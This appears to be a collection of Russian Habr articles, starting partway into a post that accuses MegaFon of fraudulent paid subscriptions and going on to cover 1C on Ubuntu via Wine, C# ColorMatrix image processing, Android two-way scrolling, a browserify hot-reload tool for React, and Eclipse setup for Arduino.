> Стоимость доступа по подписке составляет 35 рублей с НДС в сутки для абонентов ПАО «МегаФон; по разовой оплате — 150 рублей (включая НДС) за 30 дней для абонентов ПАО «МегаФон»; Продление доступа по подписке происходит автоматически. Для отказа от предоставления Подписки на услугу отправьте SMS-сообщение со словом СТОП<пробел>113 на номер 5151 для абонентов ПАО «МегаФон». Cообщение бесплатно в домашнем регионе. Служба технической поддержки ООО «Информпартнер»: 8 800 500-25-43 (звонок бесплатный), e-mail: helpdesk@informpartner.com
И офер везде одинаковый [vk-vid.com/site/offer](http://vk-vid.com/site/offer)
Ну не может быть, что сотни сайтов созданы только ради абонентов Мегафона! А если клиент Билайна захочет получить этот контент?..
Слишком много совпадений…
В последнее время если [абонент жалуется в тех.поддержу](https://pikabu.ru/story/google_chrome_na_strazhe_vashikh_deneg_6647240?cid=138853189) из-за того, что у него списали деньги за левую подписку, то ему эти деньги возвращают.
Так вот если бы деньги перечислялись левым контент-провайдерам, то сотовый оператор не стал бы из своего кармана отдавать абоненту деньги! Мегафон боится, что если начнутся массовые жалобы в правоохранительные органы, то рано или поздно такие действия квалифицируют по 159 УК РФ. И никакого ООО «Инфопартнёра» в этой цепочке не будет! Дешевле заткнуть возмущённых в самом начале.
Установка всяких защит от подписок на Мегафоне — не помогает
В
В [комментариях](https://habr.com/ru/post/448530/#comment_20062868) так же подтвердили, что Мегафон кладёт болт на запреты.
Таким образом Мегафон даже не пытается скрыть, что это они обманом подписывают абонентов на дорогущий говно-контент…
Подпишут 200 000 человек на рассылку в 35 рублей. 100 000 возмутятся и они им вернут деньги на счёт. С остальных 3,5 ляма в сутки в бюджет компании…
В данном случае я изучил поведение одного оператора связи — [Megafon](https://habr.com/ru/users/megafon/). Но, судя по отзывам, таким промышляют все операторы РФ (кроме [YotaRussia](https://habr.com/ru/users/yotarussia/) ).
Зайдя на сайт специализированного хостинга для таких сайтов мы увидим в партнёрах тех, кого мы знаем и «любим»
**nslookup zvoook.com**
Name: zvoook.com
Address: 78.140.175.32
Name: zvoook.com
Address: 78.140.175.19
nslookup 78.140.175.19
19.175.140.78.in-addr.arpa name = webwap.org.

Получается, что это организованное преступное сообщество, занимающееся мошенничеством в особо крупных масштабах?
P.S.: Эта статья является агрегированной с моих двух на Пикабу: [Раз](https://pikabu.ru/story/kak_megafon_podpisyivaet_na_platnyiy_kontent_6644978) и [Два](https://pikabu.ru/story/google_chrome_na_strazhe_vashikh_deneg_6647240). | https://habr.com/ru/post/448530/ | null | ru | null |
# 1С: Предприятие 8.2 в Ubuntu 11.10 с локальным ключом HASP
**upd.** [vdovin\_ds](https://habrahabr.ru/users/vdovin_ds/) [пишет](http://habrahabr.ru/post/133880/#comment_5230275):
`недавно вышла 1С 8.3, и у неё есть клиент под linux. Работает лучше чем через wine`
Так что возможно содержание статьи устарело.
Передо мной была поставлена задача установить последнюю версию 1С на Ubuntu. К концу первого дня чтения форумов я познал всю сложность бытия. К концу второго — заработало!
Интернет полнится различной информацией по этому поводу, однако большая ее часть нерелевантна: описывается установка серверной части 1С, установка устаревшей версии или версий с сетевым ключом.
Вначале я пытался установить 1С на "чистый" Wine версии 1.3 (в том числе и с [USB патчем](http://wiki.winehq.org/USB)), однако танцы с бубном вокруг компьютера не привели к положительным результатам, поэтому пришлось перейти на [WINE@Etersoft](http://etersoft.ru/wine/local). Собственно, пошаговая инструкция установки под катом.
Для начала на компьютер был установлен свежий образ Ubuntu 11.10, также на него были скопированы:
* 1С: Предприятие 8.2.14.540
* Конфигурация "Бухгалтерия для Украины", Версия 1.2.2
* [WINE@Etersoft 2.0 Local](http://etersoft.ru/wine/local)

После этого на компьютер устанавливаются wine-etersoft\_2.0.0-eter0.2ubuntu\_i386.deb и wine-etersoft-local\_2.0.0-eter2ubuntu\_i386.deb. Второй пакет содержит версию WINE@Etersoft, которую разрешено использовать в некоммерческих целях. Для организации отдельного рабочего места на Linux для бухгалтера, юриста, сметчика и т.п. следует [приобрести](http://sales.etersoft.ru/price) однопользовательскую версию WINE@Etersoft Network.
После успешной установки в консоли запускаем команду *wine --update.* Это создаст папку .wine в домашней директории текущего пользователя и установит туда необходимые файлы. В эту папку также следует положить файл wine-etersoft.lic, полученный от Etersoft после регистрации.
Затем следует запустить setup.exe из комплекта поставки 1С и провести установку, используя параметры по умолчанию. В конце, когда инсталлятор предложит установить драйвер защиты, следует снять галочку напротив этого пункта — драйвер для работы с USB-донглом будет включен позже.

После успешной установки, в случае если это необходимо, устанавливается конфигурация "Бухгалтерия для Украины" или аналогичный набор шаблонов. Можно установить его в папку по умолчанию, она будет указана в настройках 1С позже.
Далее следует вставить в компьютер USB-донгл, что поставляется с дистрибутивом 1С. Так как нам требуется лишь его работа в эмуляторе Wine, то мы не устанавливаем [официальные драйвера для него](http://www3.safenet-inc.com/support/hasp/enduser.aspx), а вместо этого открываем настройки Wine и включаем его поддержку:

Также рекомендуется в установках параметров графики запретить менеджеру окон контроль над окнами:

Теперь мы запускаем 1С: Предприятие с помощью ссылки, что появилась на рабочем столе и устанавливаем путь к каталогу шаблонов конфигураций:

После этого мы можем создать новую базу или импортировать существующую. Для конвертации баз 1С более старых версий следует после добавления ее в список информационных баз дважды нажать на кнопку "Конфигуратор". После его запуска он автоматически предложит конвертировать базу в новый формат (рекомендуется вначале сделать резервную копию базы).

При создании новой базы после нажатия на кнопку "Готово" 1С после некоторого раздумия зависает. Однако, к нашему счастью база успевает создаться, поэтому достаточно открыть консоль и выполнить в ней *sudo killall wineserver*, после чего запустить приложения снова и добавить уже созданную базу.

Для запуска толстого клиента 1С: Предприятие следует в окне выбора информационных баз нажать на кнопку "Конфигуратор", а уже затем в появившемся аналогичном окне — кнопку "1С: Предприятие". В ином случае вне зависимости от настроек запускается тонкий клиент 1С. Причину такого странного поведения выяснить не удалось.

После начального заполнения информационной базы мы получаем работоспособную копию 1С: Предприятие под Linux.

Надеюсь эта инструкция поможет кому-то сэкономить время, которое всегда можно потратить на более занимательные занятия ;) Всех с первой пятницей этой зимы! | https://habr.com/ru/post/133880/ | null | ru | null |
# Быстрая манипуляция с System.Drawing.Bitmap
Этот топик меня побудило написать статья о работе с System.Drawing.Bitmap <http://habrahabr.ru/blogs/net/60085/>. Мне часто приходилось сталкиваться в коде с попиксельной обработкой изображений для типовых операций, в то время как в .NET есть классы ColorMatrix, ColorMap, ImageAttributes для некоторых видов преобразований изображений.
К примеру, для картинки размером 1024 x 768 следующий код, выполняющий преобразование к серому изображению, выполнился за 0,1 секунду на моей машине (Виртуальная машина (под Hyper-V) 4-ре ядра и 1Гб оперативки), и для картинки размером 360 x 480 время составило 0,03 секунды. (Прошу строго не судить код, который быстро набросал для этого топика — на форме два PictureBox и один Button).
> `DateTime startTime = DateTime.Now;
>
>
>
> ImageAttributes ia = new ImageAttributes();
>
> ColorMatrix cm = new ColorMatrix();
>
> cm.Matrix00 = cm.Matrix01 = cm.Matrix02 =
>
> cm.Matrix10 = cm.Matrix11 = cm.Matrix12 =
>
> cm.Matrix20 = cm.Matrix21 = cm.Matrix22 = 0.34f;
>
>
>
> ia.SetColorMatrix(cm);
>
>
>
> Bitmap bmp = new Bitmap(pictureBox1.Image);
>
> Graphics g = Graphics.FromImage(bmp);
>
>
>
> g.DrawImage(bmp, new Rectangle(0, 0, bmp.Width, bmp.Height), 0, 0, bmp.Width, bmp.Height, GraphicsUnit.Pixel, ia);
>
>
>
> pictureBox2.Image = (Image)bmp;
>
>
>
> button1.Text = (DateTime.Now - startTime).TotalSeconds + " c.";
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
«Затемнение» можно получить с помощью значений:
> `cm.Matrix00 = cm.Matrix11 = cm.Matrix22 = 0;
>
> cm.Matrix33 = 0.25f;
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
При желании/необходимости — можно указать все значения одновременно с помощью конструктора класса:
> `ColorMatrix cm = new ColorMatrix(new float[][]
>
> {
>
> new float[] { 0, 0, 0, 0, 0},
>
> new float[] { 0, 0, 0, 0, 0},
>
> new float[] { 0, 0, 0, 0, 0},
>
> new float[] { 0, 0, 0, 0.25f, 0},
>
> new float[] { 0, 0, 0, 0, 0},
>
> });
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Также с помощью них можно создавать негатив изображения, замена одного цвета на другой и т.п. операции. | https://habr.com/ru/post/60175/ | null | ru | null |
# Реализация одновременного скролинга по всем направлениям
### Введение
Доброго времени суток! Сразу скажу, что программировать я начал недавно и большого опыта у меня нет, поэтому не судите строго, тем более, что материалов на данную тему очень мало. В статье я хочу поделиться своим решением проблемы, которая у меня возникла при создании пошаговой 2D стратегии. Для стратегий привычное дело наличие игрового поля. Но как быть, если у пользователя маленький телефон и всё игровое поле не помещается на экране? Таким вопросом я задался примерно месяц назад, когда у меня ещё ничего не было готово. Сначала я решил как обычно обернуть поле в ScrollView и HorizontalScrollView. И тут начинается собственно проблема. Прокручивать можно было только по одному направлению одновременно, что очень неудобно, тем более для игры. Если вам интересно решение этой проблемы добро пожаловать под кат.
### Разбираемся
Для начала нужно подумать, что у нас уже есть, а не пытаться сразу изобретать что-то своё. Поискав некоторое время в Google документации информацию по классу ScrollView становится ясно, что не всё так плохо. Посмотрим на метод onInterceptTouchEvent(MotionEvent ev). Он вызывается для определения перехвата касаний — это то, что нам нужно. Надо сделать так, чтобы он ловил все движения, кроме нажатий на элемент поля. Вот как это выглядит:
**Класс вертикальной прокрутки**
```
public final class MultiScrollView extends ScrollView {
//Координаты текущего касания
private int origX, origY;
//Если палец сдвинулся на величину больше, чем 60 px, то происходит скроллинг
private final float THRESHOLD = 60;
public MultiScrollView(Context context) {
super(context);
}
public MultiScrollView(Context context, AttributeSet attrs) {
super(context, attrs);
}
public MultiScrollView(Context context, AttributeSet attrs, int defStyleAttr) {
super(context, attrs, defStyleAttr);
}
@Override
public boolean canScrollHorizontally(int direction) {
return true;
}
@Override
public boolean canScrollVertically(int direction) {
return true;
}
@Override
public boolean onInterceptTouchEvent(MotionEvent ev) {
if (ev.getAction() == MotionEvent.ACTION_DOWN) {
origX = (int) ev.getX();
origY = (int) ev.getY();
} else if (ev.getAction() == MotionEvent.ACTION_MOVE) {
float deltaX = Math.abs(ev.getX() - origX);
float deltaY = Math.abs(ev.getY() - origY);
return deltaX >= THRESHOLD || deltaY >= THRESHOLD;
}
return false;
}
}
```
Как вы видите касания перехватываются только если изменение координаты пальца больше 60 px. Так же в этом классе необходимо переопределить метод canScrollHorizontally, чтобы он всегда возвращал true.
Так же нужно создать свой класс горизонтальной прокрутки:
**Класс горизонтальной прокрутки**
```
public final class MyHorizontalScrollView extends HorizontalScrollView {
public MyHorizontalScrollView(Context context) {
super(context);
}
public MyHorizontalScrollView(Context context, AttributeSet attrs) {
super(context, attrs);
}
public MyHorizontalScrollView(Context context, AttributeSet attrs, int defStyleAttr) {
super(context, attrs, defStyleAttr);
}
@Override
public boolean onInterceptTouchEvent(MotionEvent ev) {
return false;
}
@Override
public boolean canScrollHorizontally(int direction) {
return false;
}
@Override
public boolean onTouchEvent(MotionEvent ev) {
return false;
}
}
```
Тут мы запрещаем ему реагировать на какие — либо касания.
### Проверяем
Теперь необходимо проверить как это работает. Создадим разметку:
**Разметка активности - activity\_main.xml**
```
xml version="1.0" encoding="utf-8"?
```
**Разметка элемента поля - sq.xml**
```
```
Теперь подключим всю разметку к активности. Сразу обращаю ваше внимание на то, что элементы поля будут создавать динамические, т.е. мы можем указать любое количество строк и столбцов. Для элемента поля используется отдельный файл(в моём проекте он содержит картинку и поверх неё 2 текстовых поля, но для примеру это лишнее).
**Код активности - MainActivity.java**
```
public class MainActivity extends Activity {
private ScrollView scrollY;
private GestureDetector gestureDetectorY;
private RelativeLayout[][] sqContent;
private int sizeI = 10;
private int sizeJ = 20;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
sqContent = new RelativeLayout[sizeI][sizeJ];
scrollY = (MultiScrollView) findViewById(R.id.field_y);
gestureDetectorY = new GestureDetector(this, new GestureDetector.SimpleOnGestureListener() {
@Override
public boolean onScroll(MotionEvent e1, MotionEvent e2, float distanceX, float distanceY) {
scrollX.smoothScrollBy((int) distanceX, 0);
scrollY.smoothScrollBy(0, (int) (distanceY));
return true;
}
});
scrollY.setOnTouchListener(new View.OnTouchListener() {
@Override
public boolean onTouch(View v, MotionEvent event) {
gestureDetectorY.onTouchEvent(event);
return true;
}
});
TableLayout table = (TableLayout) findViewById(R.id.table);
TableRow row[] = new TableRow[sizeJ];
TableRow.LayoutParams paramsTableRow = new TableRow.LayoutParams(TableRow.LayoutParams.MATCH_PARENT, TableRow.LayoutParams.WRAP_CONTENT);
paramsTableRow.setMargins(0, 50, 0, 50);
paramsTableRow.weight = 1;
for (int i = 0; i < sizeI; i++) {
row[i] = new TableRow(this);
row[i].setLayoutParams(paramsTableRow);
row[i].setWeightSum(sizeJ);
for (int j = 0; j < sizeJ; j++) {
sqContent[i][j] = (RelativeLayout) getLayoutInflater().inflate(R.layout.sq, row[i], false);
sqContent[i][j].setBackgroundResource(R.color.color_sq_action);
sqContent[i][j].setOnClickListener(getOnClickListener());
row[i].addView(sqContent[i][j], j);
}
table.addView(row[i], i);
}
}
private View.OnClickListener getOnClickListener() {
return new View.OnClickListener() {
@Override
public void onClick(View v) {
v.setBackgroundResource(R.color.color_black);
}
};
}
}
```
Для примера я взял размеры поля 20 на 10. Особое внимание тут следует уделить объекту класса GestureDetector. Он нужен для определения жестов. В обработчике касаний для горизонтальной и вертикальной прокрутки мы передаём ему событие. Он в свою очередь вызывает скролл по оси X и Y. Так же для проверки удобства нажатий на элементы поля я повесил на них слушатель, который меняет их цвет. Даже если не нажимать, а немного провести(<= 60 px), то цвет поменяется. Таким образом, проблем с удобством нажатий не возникает. Надеюсь я достаточно подробно объяснил своё решение и оно вам стало понятно.
Исходники этого проекта вы можете скачать [тут](https://drive.google.com/open?id=0BweFRJnrO7WkRGxuajluNm14aFE). | https://habr.com/ru/post/328450/ | null | ru | null |
# Обновление React компонентов с сохранением состояния в режиме реального времени для Browserify

Всем доброго времени суток!
Давайте немного поговорим о DX (Developer Experience) или «Опыте разработки», а если конкретнее — об обновлении кода в режиме реального времени с сохранением состояния системы. Если тема для вас в новинку, то перед прочтением советую ознакомиться со следующими видео:
**Ряд видео с обновлением кода в реальном времени без перезагрузки страницы**
Введение: Как это работает?
---------------------------
Прежде всего стоит понимать, что реализация подобной функциональности подразумевает под собой решение ряда задач:
— Отслеживание изменений файлов
— Вычисление патча на основании изменений файлов
— Транспортировка патча на клиент (в браузер, например)
— Обработка и применение патча к существующему коду
Но обо всём по порядку.
Отслеживание изменений файлов
-----------------------------
На своём опыте я попробовал четыре разные реализации:
— [Решение от github](https://github.com/atom/node-pathwatcher)
— Нативный [fs.watch](https://nodejs.org/docs/latest/api/fs.html#fs_fs_watch_filename_options_listener)
— [Chokidar](https://github.com/paulmillr/chokidar)
— [Gaze](https://github.com/shama/gaze)
Можно долго спорить о преимуществах одного приложения перед другим, но лично для себя я выбрал chokidar — быстро, удобно, хорошо работает на OS X (спасибо, [paulmillr](https://habrahabr.ru/users/paulmillr/)).
Наша задача на данном шаге — отслеживать изменения bundle-файлов и реагировать на изменения онных. Однако, есть одна загвоздка: browserify открывает bundle-файл в режиме потоковой записи, что означает, что событие `"change"` может происходить несколько раз до момента окончания записи (к сожалению, такого события нет). Поэтому, дабы избежать потенциально проблемных ситуаций с невалидным патчем, нам приходится включить [дополнительную проверку валидности кода](https://github.com/Kureev/browserify-patch-server/blob/master/index.js#L89) (банально проверяем наличие данных в файле и синтаксические ошибки). С этой частью вроде бы должно быть ясно. Ну что, движемся дальше?
Вычисление патча на основании изменений файлов
----------------------------------------------
Мы отслеживаем изменение только bundle-файлов. Как только один из таких файлов меняется, мы должны вычислить патч к старой версии файла и передать его на клиент. В данный момент при работе с react-кодом в режиме реального времени для browserify активно используется [livereactload](https://github.com/milankinen/livereactload), который, на мой взгляд, решает эту проблему с диким оверхедом: при каждом вам прилетает **целый** bundle. Как по мне — так это слишком. А вдруг у меня бандл с source maps весит 10Мб? Изволите при добавлении запятой гнать такой траффик? Ну уж нет…
Поскольку в browserify не предусмотрена возможность [«горячей замены модулей»](https://github.com/webpack/docs/wiki/hot-module-replacement-with-webpack) как в [webpack](http://webpack.github.io/), мы не можем просто «заменить» кусок кода в рантайме. Но, возможно, это даже и к лучшему, мы можем быть ещё хитрее!
[Viva jsdiff](https://github.com/kpdecker/jsdiff)! Скармливаем ему начальный и измененный варианты контента файла и получаем на выходе — настоящий diff, который, при атомарных изменениях (лично я жму cmd + s на каждый чих) весит порядка 1Кб. А что ещё более приятно — он читаем! [Но всему своё время](https://youtu.be/pZGaye3STsk?t=55s). Теперь надо передать этот diff на клиент.
Транспортировка патча на клиент
-------------------------------
В этой части не предвидится никакой магии: обычное WebSocket соединение с возможностью передать следующие сообщения:
— Если всё прошло хорошо, diff успешно вычислен и никаких ошибок не возникло, то отсылаем на клиент сообщение формата
```
{
"bundle": BundleName , // Строка с именем измененного bundle-файла
"patch": Patch // Строка с вычисленным патчем
}
```
— Если всё пошло не так гладко и при вычислении diff'а была обнаружена синтаксическая ошибка:
```
{
"bundle": BundleName , // Строка с именем bundle-файла, где произошла ошибка
"error": Error // Строка с ошибкой
}
```
— Когда новый клиент присоединяется к сессии, ему отправляются все «исходники», за которыми мы наблюдаем:
```
{
"message": "Connected to browserify-patch-server",
"sources": sources , // Массив с содержимым наблюдаемых bundle-файлов
}
```
Посмотреть исходники можно [тут](https://github.com/Kureev/browserify-patch-server).
Обработка и применение патча к существующему коду
-------------------------------------------------
Основная магия происходит на этом шаге. Предположим, мы получили патч, он корректен и может быть применен к текущему коду. Что дальше?
А дальше нам придется сделать небольшое лирическое отступление и посмотреть как browserify оборачивает файлы. Честно говоря, чтобы это объяснить простым и понятным языком, лучше всего перевести [прекрасную статью](http://benclinkinbeard.com/posts/how-browserify-works/) Бена Клинкенбирда, но вместо этого я, пожалуй, продолжу и оставлю изучение материала на читателя. Самое важное — это то DI в каждый скоуп модуля:
**Пример из статьи**
```
{
1: [function (require, module, exports) {
module.exports = 'DEP';
}, {}],
2: [function (require, module, exports) {
require('./dep');
module.exports = 'ENTRY';
}, {"./dep": 1}]
}
```
Именно так мы получаем доступ к функции `require` и объектам `module` и `exports`. В нашем случае обычного `require` будет недостаточно: нам необходимо инкапсулировать логику работы с патчем (мы ведь не собираемся это писать руками в каждом модуле)! Самый просто, если не единственный, способ это сделать — перегрузить `require`. Именно это я и делаю [в этом файле](https://github.com/Kureev/browserify-react-live/blob/master/src/overrideRequire.js):
**overrideRequire.js**
```
function isReloadable(name) {
// @todo Replace this sketch by normal one
return name.indexOf('react') === -1;
}
module.exports = function makeOverrideRequire(scope, req) {
return function overrideRequire(name) {
if (!isReloadable(name)) {
if (name === 'react') {
return scope.React;
} else if (name === 'react-dom') {
return scope.ReactDOM;
}
} else {
scope.modules = scope.modules || {};
scope.modules[name] = req(name);
return scope.modules[name];
}
};
};
```
Как вы, вероятно, заметили, в коде я использую `scope`, который выше по стеку ссылается на `window`. Так же функция `makeOverrideRequire` использует `req`, который является ничем иным, как оригинальной `require` функцией. Как вы можете видеть, все модули проксируются в scope.modules, дабы иметь возможность получить к ним доступ в любой момент времени (возможно, я найду этому применение в будующем. Если нет — упраздню). Так же, как видно из кода выше, я проверяю, является ли модуль `react`'ом или `react-dom`'ом. В таком случае я просто возвращаю ссылку на объект из скоупа (если использовать разные версии React, это приведет нас к ошибкам при работе с hot-loader-api, т.к. служебный `getRootInstances` будет указывать на другой объект).
Итак, идем дальше — [работа с сокетом](https://github.com/Kureev/browserify-react-live/blob/master/src/injectWebSocket.js):
**injectWebSocket.js**
```
var moment = require('moment');
var Logdown = require('logdown');
var diff = require('diff');
var system = new Logdown({ prefix: '[BDS:SYSTEM]', });
var error = new Logdown({ prefix: '[BDS:ERROR]', });
var message = new Logdown({ prefix: '[BDS:MSG]', });
var size = 0;
var port = 8081;
var patched;
var timestamp;
var data;
/**
* Convert bytes to kb + round it to xx.xx mask
* @param {Number} bytes
* @return {Number}
*/
function bytesToKb(bytes) {
return Math.round((bytes / 1024) * 100) / 100;
}
module.exports = function injectWebSocket(scope, options) {
if (scope.ws) return;
if (options.port) port = options.port;
scope.ws = new WebSocket('ws://localhost:' + port);
scope.ws.onmessage = function onMessage(res) {
timestamp = '['+ moment().format('HH:mm:ss') + ']';
data = JSON.parse(res.data);
/**
* Check for errors
* @param {String} data.error
*/
if (data.error) {
var errObj = data.error.match(/console.error\("(.+)"\)/)[1].split(': ');
var errType = errObj[0];
var errFile = errObj[1];
var errMsg = errObj[2].match(/(.+) while parsing file/)[1];
error.error(timestamp + ' Bundle *' + data.bundle + '* is corrupted:' +
'\n\n ' + errFile + '\n\t ' + errMsg + '\n');
}
/**
* Setup initial bundles
* @param {String} data.sources
*/
if (data.sources) {
scope.bundles = data.sources;
scope.bundles.forEach(function iterateBundles(bundle) {
system.log(timestamp + ' Initial bundle size: *' +
bytesToKb(bundle.content.length) + 'kb*');
});
}
/**
* Apply patch to initial bundle
* @param {Diff} data.patch
*/
if (data.patch) {
console.groupCollapsed(timestamp, 'Patch for', data.bundle);
system.log('Received patch for *' +
data.bundle + '* (' + bytesToKb(data.patch.length) + 'kb)');
var source = scope.bundles.filter(function filterBundle(bundle) {
return bundle.file === data.bundle;
})[0].content;
system.log('Patch content:\n\n', data.patch, '\n\n');
try {
patched = diff.applyPatch(source, data.patch);
} catch (e) {
return error.error('Patch failed. Can\'t apply last patch to source: ' + e);
}
Function('return ' + patched)();
scope.bundles.forEach(function iterateBundles(bundle) {
if (bundle.file === data.bundle) {
bundle.content = patched;
}
});
system.log('Applied patch to *' + data.bundle + '*');
console.groupEnd();
}
/**
* Some other info messages
* @param {String} data.message
*/
if (data.message) {
message.log(timestamp + ' ' + data.message);
}
};
};
```
Вроде бы ничего особенного: разве что использование `diff.applyPatch(source, data.patch)`. В результате вызова этой функции, мы получаем пропатченный исходник, который далее в коде красиво вызываем через `Function`.
Последнее, но очень важное — [injectReactDeps.js](https://github.com/Kureev/browserify-react-live/blob/master/src/injectReactDeps.js):
**injectReactDeps.js**
```
module.exports = function injectReactDeps(scope) {
scope.React = require('react');
scope.ReactMount = require('react/lib/ReactMount');
scope.makeHot = require('react-hot-api')(
function getRootInstances() {
return scope.ReactMount._instancesByReactRootID;
}
);
};
```
Под капотом всей программы бьется сердце из `react-hot-api` от [Даниила Абрамова aka gaearon](https://twitter.com/dan_abramov). Данная библиотека подменяет export'ы наших модулей (читай компонентов) и при изменении онных она «патчит» их прототипы. Работает как часы, но с рядом ограничений: в процессе «патча» все переменные скоупа, оторванные от react компонента будут утеряны. Так же есть ряд ограничений на работу со state'ом компонентов: нельзя менять первоначальное состояние элементов — для этого требуется перезагрузка.
Ну и нельзя не упомянуть, что всё это вместо собирается воедино файлов [transform.js](https://github.com/Kureev/browserify-react-live/blob/master/src/transform.js), который реализует browserify transform, позволяющий воплотить всю задумку в жизнь выступая связующим звеном между всеми вышеупомянутыми файлами.
**transform.js**
```
const through = require('through2');
const pjson = require('../package.json');
/**
* Resolve path to library file
* @param {String} file
* @return {String}
*/
function pathTo(file) {
return pjson.name + '/src/' + file;
}
/**
* Initialize react live patch
* @description Inject React & WS, create namespace
* @param {Object} options
* @return {String}
*/
function initialize(options) {
return '\n' +
'const options = JSON.parse(\'' + JSON.stringify(options) + '\');\n' +
'const scope = window.__hmr = (window.__hmr || {});\n' +
'(function() {\n' +
'if (typeof window === \'undefined\') return;\n' +
'if (!scope.initialized) {\n' +
'require("' + pathTo('injectReactDeps') + '")(scope, options);\n' +
'require("' + pathTo('injectWebSocket') + '")(scope, options);' +
'scope.initialized = true;\n' +
'}\n' +
'})();\n';
}
/**
* Override require to proxy react/component require
* @return {String}
*/
function overrideRequire() {
return '\n' +
'require = require("' + pathTo('overrideRequire') + '")' +
'(scope, require);';
}
/**
* Decorate every component module by `react-hot-api` makeHot method
* @return {String}
*/
function overrideExports() {
return '\n' +
';(function() {\n' +
'if (module.exports.name || module.exports.displayName) {\n' +
'module.exports = scope.makeHot(module.exports);\n' +
'}\n' +
'})();\n';
}
module.exports = function applyReactHotAPI(file, options) {
var content = [];
return through(
function transform(part, enc, next) {
content.push(part);
next();
},
function finish(done) {
content = content.join('');
const bundle = initialize(options) +
overrideRequire() +
content +
overrideExports();
this.push(bundle);
done();
}
);
};
```
Архитектура приложения
----------------------
Приложение состоит из двух частей: [сервера](https://github.com/Kureev/browserify-patch-server) и [клиента](https://github.com/Kureev/browserify-react-live):
— Сервер выполняет роль наблюдателя за bundle-файлами и вычисляет diff между измененными версиями, о чём сразу же оповещает всех подключенных клиентов. Описание сообщений сервера и его исходный код [можно найти здесь](https://github.com/Kureev/browserify-patch-server).
Разумеется, вы можете создать свою live-patch программу для любой библиотеки/фреймворка на основании этого сервера.
— Клиент в данном случае — это встраеваемая через transform программа, которая подключается к серверу по средствам WebSockets и обрабатывает его сообщения (применяет патч и перезагружает bundle). Исходный код и документацию по клиенту [можно найти тут](https://github.com/Kureev/browserify-react-live).
Дайте потрогать
---------------
В Unix/OS X вы можете воспользоваться следующими командами для скаффолдинга примера:
```
git clone https://github.com/Kureev/browserify-react-live.git
cd browserify-react-live/examples/01\ -\ Basic
npm i && npm start
```
В Windows, полагаю, придется поменять вторую строчку (морока со слэшами), буду рад если кто-нибудь протестирует и напишет правильный вариант.
После запуска этих 3 команд, вы должны увидеть в консоли что-то наподобе

Как только консоль радостно сообщит вам, что всё готово, заходите на <http://localhost:8080>

Теперь дело за вами: идем в browserify-react-live/examples/01 — Basic/components/MyComponent.js и меняем код.
Например, покликав пару раз на кнопку «Increase», я решил, что +1 — это для слабаков и поменял в коде
```
this.setState({ counter: this.state.counter + 1 });
```
на
```
this.setState({ counter: this.state.counter + 2 });
```
После сохранения я вижу в браузере результат применения патча:

Готово! Попробуем нажать «Increase» ещё раз — наш счётчик увеличился на 2! Profit!
Вместо заключения
-----------------
— Честно говоря, я до последнего надеялся, что livereactload сработает для меня и мне не придется писать свою реализацию, но после 2х попыток с разницей в несколько месяцев я так и не добился хорошего результата (постоянно слетал state системы).
— Возможно, я что-то упустил, или же у вас есть предложения по улучшению — не стесняйтесь писать мне об этом, вместе мы сможем сделаем мир немножко лучше :)
— Спасибо всем, кто помогал мне с тестированием в полевых условиях | https://habr.com/ru/post/264175/ | null | ru | null |
# Настройка Eclipse для работы с Arduino Uno
Преамбула
=========
У меня дома стоит масляное отопление. Для измерения уровня масла в баке используется допотопный датчик со стрелкой и поплавком на веревке. Принцип работы датчика поражает свой неточностью. Но так как мы с вами живем в далеком будущем, по отношению к моему детству, то мне захотелось сделать датчик, который выполняет следующие условия:* Датчик должен быть цифровым.
* Его показания должны сохранятся для последующей обработки.
* Данные должны быть доступны для меня всегда и везде.
* Все устройство должно быть дешевле 200€.
Вот с такой спецификацией я и начал поиск подходящих компонентов. Выбор довольно быстро упал на платформу Arduino. Само железо устраивало меня полностью, но вот среда разработки была просто ужасна. Поэтому было принято решение перейти на Eclipse.
Можно было, конечно, перейти на горячо любимую Visual Studio, но в данный момент я открываю заново для себя линукс, поэтому виндоуса нет в наличии.
Сегодня, я хочу поделиться с вами о том, как настроить Eclipse для работы с Arduino Uno под Ubuntu 10.10.
Что нам нужно
=============
Софт* ПК с установленной Ubuntu 10.10
* Eclipse IDE, я использовал версию 3.5.2
* C Development Toolkit, я использовал версию 6.0.2
* AVR Plugins for Eclipse, я использовал версию 2.3.4
* GNU AVR-GCC toolchain
* Arduino IDE, я пользовал версию 0022
Железо* Arduino Uno
* USB кабель для плдключения Arduino к компу
* Свободный USB порт в компьютере.
Установка софта
===============
**1.1** Ставим Eclipse, для этого идем в Ubuntu Software Center, вводим в поиске слово «Eclipse», в строчке Eclipse нажимаем кнопку «Install».
[](http://habrastorage.org/storage/habraeffect/b2/8e/b28e27407db68f7bf4025b2fb741aa27.jpg "Установка Eclipse")
Альтернативно можно в терминале написать:
`**sudo apt-get install eclipse-platform**`
**1.2** Устанавливаем C Development Toolkit. Для этого открываем Eclipse, идем в меню Help, потом кликаем на «Install New Software…».
Открывается окно. В поле «Work with» выбираем страницу «Galileo Update Site».
В поле поиска вставляем строчку «Eclipse C/C++ Development Tools»
[](http://habrastorage.org/storage/habraeffect/e1/89/e189b0ee209a55edc7f245cdb7a24bb9.jpg "Установка CDT")
Ставим галочку ~~раком~~ левее результата поиска, т.е. напротив строчки »Eclipse C/C++ Development Tools» и жмем Next, потом опять Next, Accept, Finish. После этого супер-комбо, начнется установка CDT. После установки, перезапускаем Eclipse.
**1.3** Устанавливаем AVR Plugins. Открываем окошко «Install New Software», кликаем на кнопку «Add…», для ввода адреса откуда брать плагин. Вводим в поле Name «AVR plugins for Eclipse», a в поле «Location» вводим: **```
http://avr-eclipse.sourceforge.net/updatesite/
```** и жмем OK. Отмечаем строчку «AVR Eclipse Plugin» и выполняем комбо из шага 1.2. Закрываем Eclipse.
**1.4** Установку GNU AVR-GCC toolchain выполняем из терминала. Для этого вставляем в терминал строчку:
**`sudo apt-get install avrdude binutils-avr gcc-avr avr-libc gdb-avr`**
Жмем Enter и немного ждем.
Настройка Eclipse
=================
После установки всех нужных плагинов для Eclipse, нам надо настроить AVRDude. Для этого идем в Eclipse, в меню настройки (*Window → Prefrences*).
Пишем в строке поиска «AVRDude» жмем Enter и видим следующее окно.
[](http://habrastorage.org/storage/habraeffect/ae/5e/ae5ec2541618f38c027b68c6ff4b7f81.jpg "Настройка AVRDude")
